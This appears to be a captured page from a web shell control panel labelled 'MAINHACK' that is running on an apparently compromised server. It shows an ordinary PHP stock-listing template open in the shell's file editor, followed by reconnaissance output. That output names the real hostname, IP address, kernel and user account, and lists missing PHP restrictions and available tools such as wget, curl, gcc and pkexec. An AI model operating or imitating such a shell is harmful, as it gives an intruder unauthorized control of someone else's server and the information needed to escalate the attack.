[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fixed-asset-stocks.php
<div class="main-content-wrapper"> <?php if ($this->session->flashdata('exception')) { echo '<section class="alert-wrapper"><div class="alert alert-success alert-dismissible fade show"> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-hidden="true"></button> <div class="alert-body"><i class="icon fa fa-check me-2"></i>'; echo escape_output($this->session->flashdata('exception'));unset($_SESSION['exception']); echo '</div></div></section>'; } ?> <section class="content-header"> <div class="row justify-content-between"> <div class="col-6 p-0"> <h3 class="top-left-header mt-2"><?php echo lang('fixed_asset_stocks'); ?></h3> </div> <?php $this->view('updater/breadcrumb', ['firstSection'=> lang('fixed_asset_stocks'), 'secondSection'=> lang('fixed_asset_stocks')])?> </div> </section> <div class="box-wrapper"> <div class="table-box"> <!-- /.box-header --> <div class="table-responsive"> <table id="datatable" class="table table-responsive table-bordered table-striped"> <thead> <tr> <th class="w-5"><?php echo lang('sn'); ?></th> <th class="w-40"><?php echo lang('name'); ?></th> <th class="w-30 text-center"><?php echo lang('stock'); ?> <?php echo lang('quantity'); ?></th> <th class="w-25 text-right"><?php echo lang('price'); ?></th> </tr> </thead> <tbody> <?php $totalQty = 0; $totalQty = 0; $totalPrice = 0; if(isset($stocks) && $stocks){ $i = count($stocks); foreach($stocks as $stock){ $totalQty += $stock->current_stock_qty; $totalPrice += $stock->current_stock_price; ?> <tr> <td><?php echo $i--; ?></td> <td><?php echo escape_output($stock->name) ?></td> <td class="text-center"><?php echo getAmtPCustom($stock->current_stock_qty) ?></td> <td><?php echo getAmtCustom($stock->current_stock_price) ?></td> </tr> <?php }} ?> <tr> <th></th> <th></th> <th class="text-center"><?php echo getAmtPCustom($totalQty);?></th> <th><?php echo getAmtCustom($totalPrice);?></th> </tr> </tbody> </table> </div> <!-- /.box-body --> </div> </div> </div> <?php $this->load->view('updater/reuseJs')?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002